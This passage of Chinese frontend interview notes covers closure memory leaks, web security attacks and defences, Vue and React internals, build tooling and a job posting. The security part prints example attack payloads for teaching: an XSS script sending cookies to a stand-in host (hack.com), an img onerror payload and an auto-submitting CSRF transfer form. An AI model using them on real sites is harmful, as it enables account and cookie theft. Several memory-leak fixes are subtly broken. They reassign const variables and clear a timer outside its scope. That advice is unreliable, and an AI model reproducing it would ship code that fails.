let age = 20
return {
getName: () => name,
getAge: () => age,
setAge: newAge => (age = newAge)
}
}
const p = createPerson()内存泄漏原因
实例 p 被全局持有,闭包引用的变量无法被垃圾回收。
解决方案
js
// 方案1:手动置空实例
p = null
// 方案2:提供销毁方法(推荐)
function createPerson() {
let name = '张三'
let age = 20
return {
getName: () => name,
getAge: () => age,
setAge: newAge => (age = newAge),
destroy: () => {
name = null
age = null
}
}
}
// 使用后销毁
p.destroy()
p = null场景 2:全局变量(避免污染)
场景描述
用闭包替代全局变量,防止变量冲突、覆盖,实现局部状态持久化。
代码示例
js
const counterModule = (function () {
let count = 0
return {
add: () => count++,
getCount: () => count
}
})()内存泄漏原因
模块实例常驻全局,内部状态长期占用内存。
解决方案
js
// 不使用时手动释放
counterModule = null场景 3:防抖(debounce)
场景描述
高频触发只执行最后一次(输入搜索、窗口缩放),闭包保存定时器。
代码示例
js
function debounce(fn, delay) {
let timer = null
return function (...args) {
clearTimeout(timer)
timer = setTimeout(() => fn.apply(this, args), delay)
}
}
const inputFn = debounce(() => console.log('发送请求'), 500)内存泄漏原因
定时器、事件回调不清除,闭包变量常驻内存。
解决方案
js
// 方案1:页面卸载/组件销毁时清除定时器
window.onbeforeunload = () => clearTimeout(timer)
// 方案2:解绑事件
input = null场景 4:节流(throttle)
场景描述
高频触发固定时间只执行一次(滚动、点击),闭包保存时间戳。
代码示例
js
function throttle(fn, interval) {
let lastTime = 0
return function () {
const now = Date.now()
if (now - lastTime >= interval) {
fn()
lastTime = now
}
}
}
const throttleFn = throttle(() => console.log('执行'), 200)
window.addEventListener('scroll', throttleFn)内存泄漏原因
滚动 / 点击事件持续绑定,节流函数引用不释放。
解决方案
js
// 销毁时移除事件监听
window.removeEventListener('scroll', throttleFn)
throttleFn = null场景 5:计数器
场景描述
闭包保存计数状态,实现自增 / 自减且数据不外露的计数器。
代码示例
js
function createCounter() {
let count = 0
return {
increment: () => ++count,
decrement: () => --count,
get: () => count
}
}
const counter = createCounter()内存泄漏原因
计数器实例长期引用,变量无法回收。
解决方案
js
// 手动释放
counter = null场景 6:定时器(闭包保存状态)
场景描述
定时器回调使用闭包,访问外部函数变量,实现状态持续。
代码示例
js
function startTimer() {
let num = 0
const timer = setInterval(() => {
console.log(num++)
}, 1000)
}
startTimer()内存泄漏原因
定时器不清除,闭包永久占用内存。
解决方案
js
// 提供清除方法
function startTimer() {
let num = 0
const timer = setInterval(() => console.log(num++), 1000)
return () => clearInterval(timer)
}
const stop = startTimer()
// 停止定时器
stop()场景 7:函数柯里化 / 参数复用
场景描述
闭包缓存固定参数,实现分步传参、函数复用。
代码示例
js
function add(a) {
return function (b) {
return a + b
}
}
const add10 = add(10)
add10(5) // 15内存泄漏原因
柯里化函数长期持有参数引用。
解决方案
js
// 用完释放
add10 = null场景 8:循环事件绑定,保留独立变量
场景描述
解决 var 无块级作用域问题,闭包锁定每次循环变量。
代码示例
js
var btns = document.querySelectorAll('button')
for (var i = 0; i < btns.length; i++) {
;(function (index) {
btns[index].onclick = function () {
console.log(index)
}
})(i)
}内存泄漏原因
DOM 被闭包强引用,DOM 销毁后引用未断开。
解决方案
js
// 方案1:移除事件
btns[i].onclick = null
// 方案2:优先使用 let(从根源避免闭包)
for (let i = 0; i < btns.length; i++) {
btns[i].onclick = () => console.log(i)
}场景 9:缓存函数(记忆函数)
场景描述
闭包维护缓存对象,缓存计算结果,避免重复执行。
代码示例
js
function memoize(fn) {
const cache = {}
return function (key) {
if (cache[key]) return cache[key]
const result = fn(key)
cache[key] = result
return result
}
}内存泄漏原因
缓存无限增长,占用大量内存。
解决方案
js
function memoize(fn) {
const cache = {}
const cachedFn = function (key) {
if (cache[key]) return cache[key]
const result = fn(key)
cache[key] = result
return result
}
// 添加清空方法
cachedFn.clear = () => (cache = {})
return cachedFn
}
// 使用后清空
cachedFn.clear()内存泄漏
函数调用
this 指向
JS 堆栈
设计模式
安全攻防
前端安全攻防全梳理(攻击原理 + 真实场景案例 + 落地解决方案)
前端安全核心风险:数据窃取、权限绕过、恶意代码注入、钓鱼劫持、接口滥用、隐私泄露,下面按攻击类型分类,覆盖高频考点、业务真实场景、攻防原理、修复方案。
一、XSS 跨站脚本攻击(最经典前端漏洞)
1. 原理
攻击者向页面注入恶意 JS 代码,其他用户访问页面时,代码在当前用户浏览器、当前域名权限下自动执行,可窃取 Cookie、操作页面、劫持账号。
2. 分类 + 场景案例
(1)存储型 XSS(持久化,危害最大)
- 场景:论坛评论、商品评价、弹幕、用户昵称、个人简介
- 案例:用户评论输入:
html
<script>
document.location = 'http://hack.com/steal?c=' + document.cookie
</script>评论存入数据库,所有访问该页面的用户都会自动执行脚本,批量泄露登录 Cookie。
(2)反射型 XSS(非持久,一次性)
- 场景:URL 参数渲染、搜索关键词回显、跳转参数
- 案例:页面接收 ?key=xxx 直接渲染到页面:
text
https://xxx.com/search?key=<img src=x onerror=alert(document.cookie)>诱导用户点击链接,立即触发漏洞。
(3)DOM 型 XSS(纯前端 JS 逻辑触发,无后端参与)
- 场景:前端通过location.hash、search、localStorage取值直接操作 DOM
- 案例:
js
// 危险代码
let name = location.search.split('name=')[1]
document.getElementById('box').innerHTML = name传入参数:name=<script>盗取信息</script> 直接渲染执行。
3. 解决方案
输入过滤 + 输出编码
- 后端:特殊字符转义
< > & " ' - 前端:使用
textContent代替innerHTML,杜绝原生拼接 HTML
CSP 内容安全策略(核心防御)
响应头限制脚本加载来源,禁止内联脚本、禁止 eval:
http
Content-Security-Policy: default-src 'self'; script-src 'self'Cookie 安全属性
text
Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=StrictHttpOnly:JS 无法读取 Cookie,阻断 Cookie 窃取
禁用危险 API
禁止 eval、new Function、innerHTML、document.write
二、CSRF 跨站请求伪造
1. 原理
利用用户已登录身份,诱导用户在不知情下发起非法请求(转账、改密码、删数据),浏览器自动携带 Cookie / 登录态。
2. 场景案例
- 场景:后台操作、提交表单、接口修改类请求
- 案例:黑客搭建钓鱼页面,隐藏表单自动提交:
html
<form action="https://bank.com/transfer" method="POST">
<input name="money" value="10000" />
<input name="to" value="黑客账号" />
</form>
<script>
document.forms[0].submit()
</script>用户登录银行网站后,访问钓鱼页,自动发起转账请求。
3. 解决方案
CSRF Token(主流方案)
后端下发随机 Token,前端每次提交接口必须携带,后端校验
SameSite Cookie 属性
SameSite=Strict/Lax,限制跨站请求携带 Cookie
请求校验 Referer/Origin
后端校验请求来源域名,拦截非法跨域请求
重要操作增加二次验证
短信验证码、密码确认、滑块验证
三、点击劫持 / 界面劫持
1. 原理
通过iframe嵌套目标网站,设置透明遮罩,诱导用户点击隐藏的恶意按钮(如授权、付款、关注)。
2. 场景案例
- 场景:广告引流、恶意授权、账号绑定
- 案例:黑客页面嵌套目标官网并设为透明,上层放 "领取红包" 按钮,用户点击实际点击了官网的「授权登录」按钮。
3. 解决方案
X-Frame-Options 响应头
禁止被 iframe 嵌套:
http
X-Frame-Options: DENYCSP 增加 frame-ancestors 限制
前端 JS 防御
判断页面是否被嵌套:
js
if (top !== window) top.location.href = window.location.href四、跨域漏洞 & 不当 CORS 配置
1. 原理
后端 CORS 配置过于宽松,允许任意域名跨域,导致黑客网站可直接调用用户接口、读取响应数据。
2. 场景案例
危险配置(高危):
text
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true或动态读取请求头 Origin 直接返回,未做白名单校验。
后果:黑客域名可跨域携带 Cookie,读取用户隐私数据、操作个人接口。
3. 解决方案
严格白名单配置 CORS
只允许可信业务域名,禁止 * + 凭证共存
拒绝非法 Origin
后端校验请求 Origin,不在白名单直接拦截
敏感接口禁用跨域
五、敏感信息泄露
1. 常见场景
前端硬编码密钥
案例:前端 JS 直接写死 appKey、secret、阿里云AK、支付密钥,F12 即可直接抓取。
接口明文传输
密码、手机号、身份证、Token 使用 HTTP 明文传输,抓包直接窃取。
本地存储敏感数据
案例:将密码、用户隐私直接存在 localStorage/sessionStorage,可被 XSS 直接读取。
2. 解决方案
- 密钥后置:所有密钥、第三方凭证统一放在后端,前端只传临时 Token
- 全站 HTTPS:强制加密传输,防止抓包窃听
- 敏感数据加密:前端 RSA 加密后再提交
- 禁止本地存储隐私:登录态优先使用 HttpOnly Cookie
六、接口越权(前端权限绕过)
1. 分类
- 水平越权:同权限用户互相查看 / 修改数据(A 看 B 的订单)
- 垂直越权:低权限用户操作高权限接口(普通用户访问管理员接口)
2. 场景案例
前端只做按钮隐藏,接口无权限校验
前端隐藏「删除用户」按钮,黑客通过抓包 / 手动调用接口,直接执行删除。
接口通过userid参数控制数据,可随意篡改
接口:/api/order?userId=1001,改为 userId=1002 即可查看他人订单。
3. 解决方案
- 权限校验后置(核心):永远不要相信前端校验,所有权限、数据校验必须在后端
- 接口鉴权:基于登录态解析当前用户,禁止前端传用户 ID
- RBAC 权限模型:接口绑定角色,拦截越权访问
七、文件上传漏洞(前端绕过)
1. 场景案例
前端只通过后缀名、文件类型校验,可直接绕过:
- 修改文件后缀
xxx.jpg→xxx.jpg.js - 抓包修改
Content-Type绕过类型检测 - 上传 html/svg 文件触发 XSS
2. 解决方案
- 后端二次校验:校验文件头、真实文件格式,不依赖前端
- 上传目录禁止执行脚本
- 重命名存储:避免恶意文件直接访问
八、JS 恶意注入 & 第三方依赖漏洞
1. 场景
- 引入第三方 CDN、第三方埋点 SDK 被劫持篡改
- npm 包供应链攻击,恶意依赖植入挖矿、窃取代码
- 开源组件漏洞(如 jQuery 旧版本 XSS 漏洞)
2. 解决方案
- CDN 资源完整性校验(SRI)
- 锁定依赖版本,定期 npm 安全审计
- 移除无用第三方脚本,精简外部依赖
九、通用前端安全最佳实践(总结清单)
- 所有校验、鉴权、权限、业务逻辑全部后置,前端只做体验优化
- 页面渲染优先
textContent,杜绝不安全 HTML 拼接 - 统一配置:CSP、X-Frame-Options、Secure/HttpOnly/SameSite Cookie
- 全站 HTTPS,禁用 HTTP 明文
- 接口统一加签名、Token 鉴权,防接口刷取、恶意调用
- 定期依赖漏洞扫描,升级老旧框架
ES6 新增特性
Promise 实现原理(手写实现)
模块化(AMD、CMD、CommonJS、ES6模块)
vue2
理解渐进式、声明式、响应式
响应式原理(数据劫持/发布订阅)
虚拟dom/diff算法
生命周期
通信方式
Vue2 常用指令/API
响应式数据变更 → 视图更新 全链路
vue3
响应式原理
虚拟dom/diff算法
生命周期
通信方式
理解组合式API
Vue3 常用API
1. setup/setup函数
2. ref/reactive
3. watch/watchEffect
4. computed/nextTick
5. toRef/toRefs/toRaw
6. useAttrs/useSlots
7. defineProps/defineEmits/defineExpose
8. onMounted/onUnmounted/onActivated/onDeactivated
pinia/vuex
vue2/3路由(history/hash)
响应式数据变更 → 视图更新 全链路
vue3 vs vue2变化?
vue2/3 响应式原理对比
一、Vue2 响应式原理:Object.defineProperty
核心由 Observer、Dep、Watcher 三个类协作完成:
- Observer:遍历 data 对象的所有属性,调用
Object.defineProperty,将属性转为 getter/setter - 依赖收集(getter):
Dep.target指向当前执行的 Watcher,通过dep.depend()将 Watcher 收集到当前属性的依赖列表中 - 派发更新(setter):属性值变化时,调用
dep.notify()通知所有依赖的 Watcher,触发组件重新渲染
Vue2 的三大痛点
1. 对象新增属性无法监听
新增属性没有经过 Object.defineProperty 转换,需用 Vue.set / this.$set 手动转为响应式
2. 数组下标修改无法监听
直接修改 arr[0] = xxx 无法触发更新;Vue2 通过重写数组的 7 个原型方法(push/pop/shift/unshift/splice/sort/reverse)来手动派发更新
3. 初始化性能差
递归遍历所有嵌套属性,层级越深,初始化性能越差
二、Vue3 响应式原理:Proxy
Vue3 使用 ES6 Proxy 替代了 Object.defineProperty,可拦截多达 11 种操作(读取/设置/删除属性、in 操作符、for...in 循环等),完美解决了 Vue2 的三大痛点:
核心优势
1. 天然支持对象新增属性
Proxy 代理整个对象,新增属性的操作会被 set 拦截,无需 $set
2. 天然支持数组下标修改
可拦截数组下标赋值,同时也能拦截 push/pop 等变异方法
3. 惰性代理,初始化性能大幅提升
仅在访问属性时才进行深层代理,无需递归遍历所有属性
Vue3 响应式核心流程
通过 reactive 函数创建 Proxy 代理对象:
访问属性 → 触发 get 拦截 → 依赖收集
修改属性 → 触发 set 拦截 → 派发更新三、为什么 Vue3 还要保留 ref?
核心原因
Proxy 无法直接代理基本类型(number/string/boolean/null/undefined/symbol),只能代理对象。
而开发中经常需要响应式的基本类型数据(如计数器 count、开关 visible),因此 ref 应运而生:
- 对基本类型:包装为
RefImpl实例,通过.value的 getter/setter 实现响应式 - 对对象:内部调用
reactive,转为 Proxy 对象
ref 的自动解包规则
| 场景 | 是否自动解包 | 说明 |
|---|---|---|
| 模板中 | ✅ 自动解包 | 编译阶段自动添加 .value,模板中写 即可 |
| reactive 对象中 | ✅ 自动解包 | ref 作为 reactive 的属性被访问时,会自动解包 |
| 数组 / Map 中 | ❌ 不会自动解包 | 需手动写 .value |
ref vs reactive 选择建议
- 基本类型 → 用
ref - 对象 / 数组 → 用
reactive - 不确定类型 → 用
ref(兼容所有类型,仅需访问时写.value)
四、Vue3 响应式的其他优势:readonly & computed
readonly
创建只读响应式对象,修改属性会触发警告但不会生效,可防止全局状态/组件参数被意外修改
computed
基于 effect 实现,创建 ComputedRefImpl 实例并缓存结果,仅在依赖变化时重新计算,其余时间直接返回缓存值,性能更优
底层核心:effect
reactive / ref / computed 本质上都基于 effect 构建:
effect接收一个函数,函数内访问响应式数据时会自动收集依赖- 依赖变化时,自动重新执行该函数
灵魂总结(面试直接背)
| 对比项 | Vue2 | Vue3 |
|---|---|---|
| 核心原理 | Object.defineProperty | Proxy |
| 数组监听 | ❌ 需重写原型方法 | ✅ 天然支持 |
| 新增属性 | ❌ 需 $set | ✅ 天然支持 |
| 初始化性能 | ❌ 递归遍历 | ✅ 惰性代理 |
| 基本类型 | ❌ 不支持 | ✅ ref 包装 |
关键记忆点:
- Vue2 缺陷:数组下标监听不到、对象新增属性需
$set、初始化递归遍历性能差 - Vue3 Proxy 优势:拦截所有操作、惰性代理初始化快、天然支持数组和新增属性
- ref 存在原因:Proxy 无法代理基本类型,ref 包装后实现响应式
- ref 自动解包:模板编译阶段自动加
.value,reactive 对象中的 ref 也会自动解包
虚拟dom、diff算法对比
生命周期对比
新增组合式API
多根、多个v-model、v-memo...
其他api等
vue2 vs vue3 响应式原理
一、Vue2 响应式原理(Object.defineProperty)
Vue2 采用 数据劫持 + 发布订阅模式,通过 Object.defineProperty 劫持对象的 get/set。
核心流程
读取属性 → 触发 get → 收集依赖(Dep.depend)
修改属性 → 触发 set → 派发更新(Dep.notify)精简核心代码
javascript
// 依赖收集器:管理订阅者(Watcher)
class Dep {
constructor() {
this.subs = [] // 存放所有依赖
}
// 收集依赖
depend() {
if (Dep.target) {
this.subs.push(Dep.target)
}
}
// 触发更新
notify() {
this.subs.forEach(watcher => watcher.update())
}
}
Dep.target = null // 当前正在执行的渲染 Watcher
// 给对象的属性定义响应式
function defineReactive(obj, key, val) {
const dep = new Dep()
// 递归处理子对象(Vue2 深度响应式)
observe(val)
Object.defineProperty(obj, key, {
enumerable: true,
configurable: true,
get() {
// 读取时收集依赖
dep.depend()
return val
},
set(newVal) {
if (newVal === val) return
val = newVal
// 新值也要做响应式
observe(newVal)
// 修改时触发更新
dep.notify()
}
})
}
// 递归监听对象
function observe(obj) {
if (typeof obj !== 'object' || obj === null) return
Object.keys(obj).forEach(key => {
defineReactive(obj, key, obj[key])
})
}
// 模拟渲染 Watcher(组件更新函数)
function watcher(fn) {
Dep.target = fn
fn() // 执行时触发 get 收集依赖
Dep.target = null
}使用示例
javascript
const data = { name: 'Vue2', count: 0 }
observe(data)
// 渲染函数
watcher(() => {
console.log('渲染:', data.name, data.count)
})
// 修改数据 → 自动触发渲染
data.name = 'Vue2 响应式'
data.count = 10Vue2 的三大痛点
| 痛点 | 说明 | 解决方案 |
|---|---|---|
| 对象新增属性无法监听 | 新增属性没有经过 defineProperty 转换 | Vue.set / this.$set |
| 数组下标修改无法监听 | 直接修改 arr[0] = xxx 无法触发更新 | 重写 7 个原型方法 |
| 初始化性能差 | 递归遍历所有嵌套属性 | 无解 |
二、Vue3 响应式原理(Proxy + Reflect)
Vue3 采用 ES6 Proxy 代理整个对象,解决了 Vue2 无法监听新增/删除属性、数组下标修改等缺陷。
核心流程
访问属性 → 触发 get 拦截 → 依赖收集(track)
修改属性 → 触发 set 拦截 → 派发更新(trigger)精简核心代码
javascript
// 依赖收集器
class Dep {
constructor() {
this.subs = new Set() // 用 Set 去重
}
depend() {
if (activeEffect) {
this.subs.add(activeEffect)
}
}
notify() {
this.subs.forEach(effect => effect())
}
}
let activeEffect = null
const targetMap = new WeakMap() // 存储:{ 对象 -> { key -> Dep } }
// 收集依赖
function track(target, key) {
let depsMap = targetMap.get(target)
if (!depsMap) targetMap.set(target, (depsMap = new Map()))
let dep = depsMap.get(key)
if (!dep) depsMap.set(key, (dep = new Dep()))
dep.depend()
}
// 触发更新
function trigger(target, key) {
const depsMap = targetMap.get(target)
if (!depsMap) return
const dep = depsMap.get(key)
dep && dep.notify()
}
// 创建响应式对象(核心:Proxy)
function reactive(target) {
return new Proxy(target, {
get(target, key, receiver) {
const res = Reflect.get(target, key, receiver)
// 收集依赖
track(target, key)
// 懒递归:用到才代理,比 Vue2 性能更好
if (typeof res === 'object' && res !== null) {
return reactive(res)
}
return res
},
set(target, key, val, receiver) {
const oldVal = target[key]
const res = Reflect.set(target, key, val, receiver)
// 值变化才触发更新
if (oldVal !== val) {
trigger(target, key)
}
return res
},
deleteProperty(target, key) {
const oldVal = target[key]
const res = Reflect.deleteProperty(target, key)
if (oldVal) trigger(target, key)
return res
}
})
}
// 副作用函数(渲染/更新)
function effect(fn) {
activeEffect = fn
fn()
activeEffect = null
}使用示例
javascript
const data = reactive({ name: 'Vue3', count: 0 })
// 渲染函数
effect(() => {
console.log('渲染:', data.name, data.count)
})
// 修改数据 → 自动触发渲染
data.name = 'Vue3 响应式'
data.count = 20
// Vue3 优势:可以监听新增属性 / 删除属性
data.age = 3 // 新增 → 自动响应
delete data.count // 删除 → 自动响应Vue3 的核心优势
| 优势 | 说明 |
|---|---|
| 天然支持对象新增属性 | Proxy 代理整个对象,新增属性会被 set 拦截 |
| 天然支持数组下标修改 | 可拦截数组下标赋值,也能拦截 push/pop 等方法 |
| 惰性代理,性能更好 | 仅在访问属性时才进行深层代理 |
三、核心区别总结
| 对比项 | Vue2 | Vue3 |
|---|---|---|
| 核心 API | Object.defineProperty | Proxy |
| 监听方式 | 劫持对象属性 | 代理整个对象 |
| 递归时机 | 初始化全量递归 | 读取时懒递归 |
| 新增属性 | ❌ 需 $set | ✅ 自动监听 |
| 删除属性 | ❌ 需 $delete | ✅ 自动监听 |
| 数组下标修改 | ❌ 无法监听 | ✅ 自动监听 |
总结
- Vue2:用
Object.defineProperty劫持每一个属性,初始化递归深度监听,存在新增/删除属性不响应的缺陷 - Vue3:用
Proxy代理整个对象,懒递归、性能更高,完美支持新增/删除属性、数组下标修改 - 共同点:两者依赖收集 + 发布订阅的核心思想完全一致,只是数据劫持的 API 不同
react
react 渲染原理
react 虚拟dom/diff算法
fiber 架构
通信方式
react 常用API
1. useRef → 拿 DOM、存值
2. useState → 存数据
3. useReducer → 存复杂数据
4. useEffect → 请求、定时器
5. useLayoutEffect → 布局阶段
6. useMemo → 缓存计算
7. useCallback → 缓存函数
8. React.memo → 组件优化
9. forwardRef → 把 ref 传到子组件
10. useImperativeHandle → 暴露子组件的方法(必须配合 forwardRef 使用)
11. createContext → 全局状态
12. useContext → 跨组件传值
13. lazy / Suspense → 懒加载
14. Fragment → 空标签
15. useNavigate → 路由跳转
fiber/hooks和链表
1. useState是怎么样工作的,它是异步还是同步为什么?
2. react hooks为什么不能在if/else、for循环、try/catch等里面使用?
3. 为什么使用链表管理hooks而不用数组?
4. hooks 函数组件优点
5. hooks、hooks链表、fiber之间是什么关系
6. fiber是如何实现任务中断/恢复/优先级调度的
7. 为什么 Hooks 链表必须配合 Fiber 才能存在?
8. 为什么 Class 组件无法实现异步可中断更新?
9. 为什么 useEffect 能替代所有 Class 生命周期,底层是怎么做到的?
10. 什么是 Hooks 闭包陷阱,怎么解决?
11. 为什么 Hooks 出现后,React 推荐函数组件而放弃 Class?
12. React 18 自动批处理是什么,什么时机执行?
13. 什么是双缓存 Fiber 树?
14. 什么是 Lanes 优先级?
react路由(history/hash)
react和vue虚拟dom对比
状态存储Redux、Mobx、zustand等
react事件合成和原生事件执行顺序
react Jsx转成为真实dom过程
react各版本差异
数据变更 → 视图更新 全链路
构建工具
webpack、vite、rollup、gulp、grunt等
webpack核心概念有哪些?
webpack打包原理和详细过程
webpack Plugin和Loader
webpack打包常用钩子
webpack5 新增特性
vite打包原理
vite和webpack对比
vite如何配置优化
性能优化篇
1. 常见性能问题有哪些?
前端常见性能问题分为五类:
| 类别 | 核心问题 |
|---|---|
| 网络问题 | 请求多、资源大、无缓存、未压缩 |
| 渲染问题 | 频繁回流重绘、DOM 过多、长任务阻塞主线程 |
| 代码问题 | 循环嵌套、全局变量、事件滥用、内存泄漏 |
| 框架问题 | 不必要重渲染、大列表卡顿、打包体积臃肿 |
| 体验问题 | 首屏慢、白屏、卡顿、图片不懒加载、第三方资源阻塞 |
一、网络层面性能问题
1. 资源请求过多、请求冗余
- 问题:JS/CSS/图片、接口请求零散,HTTP 请求次数多,握手耗时
- 优化:资源合并、雪碧图、接口聚合、减少无效请求
2. 静态资源体积过大、未压缩
- 问题:JS、CSS、图片、字体文件过大,加载慢
- 优化:代码压缩、Gzip、图片压缩、webp 格式、字体精简
3. 无缓存 / 缓存策略不合理
- 问题:每次刷新重复加载静态资源,浪费带宽
- 优化:强缓存、协商缓存合理配置
4. 未使用 CDN、跨域耗时
- 问题:资源同域限制、远距离加载慢
- 优化:CDN 分发、合理处理跨域
二、浏览器渲染层面性能问题
1. 重排(回流)、重绘频繁
- 问题:频繁修改 DOM 样式、宽高、位置,触发多次回流重绘,消耗渲染性能
- 优化:批量修改 DOM、使用 class 统一样式、避免频繁读取布局属性
2. 大量 DOM 节点、DOM 操作频繁
- 问题:页面 DOM 树过于庞大,查询、操作 DOM 耗时
- 优化:虚拟列表、分页、懒加载、文档碎片优化 DOM 操作
3. 层级混乱、大量合成层
- 问题:过多 z-index、opacity、transform 滥用,造成图层爆炸
- 优化:合理使用 GPU 加速,减少多余合成层
4. 长任务阻塞主线程
- 问题:大量同步 JS、复杂计算、循环阻塞渲染,页面卡顿、白屏
- 优化:时间分片、Web Worker、异步拆分逻辑
三、代码与逻辑层面性能问题
1. 全局变量过多、闭包滥用
- 问题:作用域链查找变慢,闭包容易引发内存泄漏
- 优化:模块化、局部作用域、及时释放闭包引用
2. 循环嵌套过多、低效遍历
- 问题:双层/多层循环、重复遍历数组,造成计算冗余
- 优化:降低循环嵌套、用 Map/Set 优化查找
3. 不合理的事件绑定
- 问题:大量事件绑定、未解绑、频繁高频事件(scroll、resize、mousemove)
- 优化:事件委托、防抖节流、组件销毁移除事件
4. 内存泄漏
- 常见原因:闭包残留、定时器未清除、事件未解绑、全局缓存不清理、DOM 引用未释放
- 优化:及时清空引用、销毁副作用、定期清理缓存
四、框架项目特有性能问题(Vue / React)
1. 不必要的重新渲染
- 问题:组件无数据变更也重复渲染,消耗性能
- 优化:Vue 缓存、React memo/useMemo/useCallback
2. 大数据列表渲染卡顿
- 问题:一次性渲染上千条数据,DOM 过载
- 优化:虚拟滚动、分页、懒加载
3. 路由懒加载未开启、打包体积过大
- 问题:一次性加载所有页面代码,首屏加载缓慢
- 优化:路由懒加载、分包打包、剔除无用代码
五、首屏 & 体验类性能问题
- 首屏加载慢、白屏时间长
- 资源加载顺序不合理(先加载大 JS 再渲染)
- 图片、视频未懒加载
- 第三方插件/脚本过多阻塞页面
2. 怎么排查和监控性能问题?
3. 性能优化衡量指标有哪些?
3.1 LCP、FCP、INP、CLS、FID等等
4. 性能优化方案
4.1 重要资源优先加载其他资源懒加载预加载后加载
4.2 分包/代码分割、分块加载(requestAnimationFrame )
4.3 代码压缩
4.4 CDN
4.5 缓存
4.6 异步加载
4.7 懒加载
工程化管理
前端工程化可分为五大板块:
规范工程化
ESLint、Prettier、Git 规范、TS、提交校验、代码评审、文件/文件夹等构建工程化
编译、打包、Tree-Shaking、分包、压缩、产物优化测试工程化
单测、E2E、自动化测试、质量门禁交付工程化
✅ CI/CD 自动化部署、环境管理性能 & 监控
✅ 性能优化 ✅ 埋点、监控、异常上报其他工程化
组件化
模块化
应用工具
构建工具
包管理
自动化测试
性能 & 监控
代码规范
git规范
CI/CD 流程(持续集成、持续部署)
1. CI(持续集成)Continuous Integration
目的:把代码合并、验证,保证代码质量;主要包含以下步骤:
1.1 代码拉取:从 Git 拉取最新代码
1.2 依赖安装:npm install / yarn / pnpm install
1.3 代码检查:ESLint、Prettier、Stylelint
1.4 单元测试 / 集成测试:Jest、Vitest
1.5 编译构建:打包(npm run build)
1.6 产物归档:把 dist 打包保存
架构设计篇
按从底层→业务→工程→运维→扩展完整排序,逻辑闭环。
一、技术选型(落地)
- 框架选型:Vue / React / Flutter / 原生、版本管控
- 语言:TypeScript 类型体系、类型约束、全局类型
- 构建工具:Vite / Webpack / Turbopack、多端适配构建
- 样式方案:CSS Modules / Tailwind / styled-components / 全局样式隔离
- 包管理:pnpm / npm / yarn、依赖锁文件、依赖版本治理
二、目录 & 项目分层设计
- 合理分层:接口层、工具层、组件层、业务层、页面层、路由层
- 目录规范:公共抽离、业务拆分、模块解耦
- 模块化设计:高内聚、低耦合,避免耦合严重
三、状态管理设计
- 状态区分:全局状态、页面状态、组件局部状态 区分管理
- 选型:Pinia / Redux / Zustand / Context
- 数据流向:单向数据流、状态持久化、状态复用、避免全局滥用
四、路由架构
- 路由模式:history / hash
- 权限控制:路由权限、动态路由、路由守卫、登录拦截
- 性能优化:路由懒加载、分包、页面缓存、路由埋点
五、组件设计体系
- 通用组件封装:UI 二次封装、统一规范
- 组件分层:业务组件、公共组件、原子组件分层
- 组件复用:props 约束、组合式开发、插槽 / 抽离逻辑
- 跨组件通信方案:props / 事件 / 依赖注入 / 状态库 / 事件总线
六、网络 & 请求架构
- 全局请求封装:拦截器、统一超时、重试、取消请求
- 接口管理:接口统一管理、接口文档、请求前缀、环境区分
- 错误处理:错误统一处理、断网提示、loading 统一管理
- 请求优化:数据缓存、重复请求拦截
七、工程化体系(重点)
- 代码规范:ESLint、Prettier、Git 规范、Commitlint
- 构建优化:压缩、Tree-Shaking、资源优化、分包
- 测试体系:单元测试、E2E 测试、质量门禁
- CI/CD 自动化:持续集成、自动部署、环境隔离
- 环境配置:开发 / 测试 / 预发 / 生产 多环境变量
八、性能优化设计
- 加载优化:首屏优化、懒加载、图片优化、资源预加载
- 渲染优化:减少重排重绘、长列表优化、虚拟列表
- 缓存策略:浏览器缓存、本地缓存、静态资源 CDN
- 打包优化:打包体积优化、按需引入、剔除冗余代码
九、安全设计
- 防御机制:XSS、CSRF 防御
- 鉴权体系:接口鉴权、Token 管理、过期刷新
- 数据安全:敏感数据加密、请求白名单、资源防盗链
十、兼容性 & 多端适配
- 浏览器兼容:浏览器兼容、Polyfill 按需引入
- 移动端适配:移动端适配、响应式、多端统一样式
- 降级方案:低版本系统 / 机型兼容降级方案
十一、监控与异常治理
- 异常捕获:全局异常捕获、代码报错、白屏监控
- 性能监控:性能指标监控、埋点、用户行为采集
- 日志管理:日志上报、错误分级、问题快速定位
十二、可扩展性 & 可维护性
- 架构设计:低耦合、高扩展,预留业务迭代能力
- 扩展方案:插件化、微前端 / 模块化(大型项目)
- 文档规范:文档完善、注释规范、统一编码风格
- 容灾处理:降级方案、容灾处理、兼容迭代
项目难点/亮点
团队/项目管理
1. 如何把握项目计划、进度、风险、质量、成本、变更等,以确保任务顺利完成
2. 如何管理项目团队,确保团队成员之间的合作和沟通
3. 技能要求
岗位职责
负责 AI 交互、中后台 / 移动端等前端项目的架构设计、技术选型与核心模块开发,保证项目可维护、可扩展、高性能。
基于 React 生态(React 18+/Next.js)搭建工程化体系:脚手架、构建优化、规范制定、质量门禁、CI/CD 流程。
负责复杂业务组件、通用组件、低代码 / 表单表格组件库的设计与封装,提升团队研发效率。
主导前端性能优化:首屏加载、运行时渲染、内存泄漏、长列表、打包体积、网络请求优化等。
参与跨端 / 同构 / SSR/SSG 方案落地,负责服务端渲染、静态生成、边缘渲染等架构实现。
与后端、产品、设计协同,输出前端技术方案、接口规范、状态管理方案、权限与路由架构。
解决线上疑难问题:兼容性、稳定性、异常监控、白屏、卡顿、并发请求等。
推动团队技术沉淀:编写文档、组织分享、CodeReview、制定 ESLint/Commit 规范。
对接 AI 组件、流式渲染、Agent 交互界面等 AI + 前端场景优先。
任职要求
本科及以上学历,计算机、软件工程等相关专业,5 年以上前端开发经验
核心 React 技术栈
精通 React 技术栈及其生态和性能优化:React 的更新机制、虚拟 DOM、Hooks、状态管理 & 架构设计。
熟练使用 TypeScript 进行类型设计:泛型、类型守卫、Utility Types、声明文件、类型收敛。
熟悉使用 Spring AI、Spring AI Alibaba、AutoGPT、LangChain4j、LangChain、LangGraph、Dify、Coze、Ollama 开发框架,具备 Prompt、RAG (检索增强生成)、Function Calling / Tool Use、Ai Agent、MCP、SKILL 技术开发经验优先考虑。
工程化与构建体系
精通 Webpack/Vite/Rspack 构建优化、分包、预加载、缓存、CDN 策略。
熟练搭建模块化、组件化、规范化前端项目:ESLint、Prettier、StyleLint、husky、lint-staged。
熟练使用 pnpm/yarn/npm 依赖治理、monorepo (Turbo/Changesets) 优先。
框架与跨端
熟练使用 Next.js:SSR/SSG/ISR/RSC、路由、API Routes、部署优化。
了解 Remix、Gatsby、Umi 等企业级框架优先。
